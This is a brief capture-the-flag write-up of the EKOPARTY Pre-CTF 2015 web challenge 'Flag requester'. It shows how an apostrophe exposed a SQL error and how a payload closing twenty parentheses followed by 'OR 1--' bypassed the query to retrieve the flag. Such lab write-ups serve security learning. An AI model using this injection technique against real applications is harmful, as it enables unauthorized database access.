English [EKOPARTY PRE-CTF 2015] [Web25 – Flag requester] Write Up


Go and get your flag!


We faced a single input box.

We had to retrieve the flag, so we tested with the famous character ” ‘ ” (apostrophe) because all DBMS hate it, to see if a SQL injection is possible.

After form validation, a syntax error is returned to us:

ERROR: near "'))))))))))))))))))))": syntax error

What do all those parentheses mean?
Would the request be:

SELECT user, password FROM users WHERE credz = (((((((((((((((((((('$input'))))))))))))))))))))

We gave the correct number of closing parentheses and the necessary for comparison:
')))))))))))))))))))) OR 1--

And it worked 😉

Flag was : EKO{sqli_with_a_lot_of_)}

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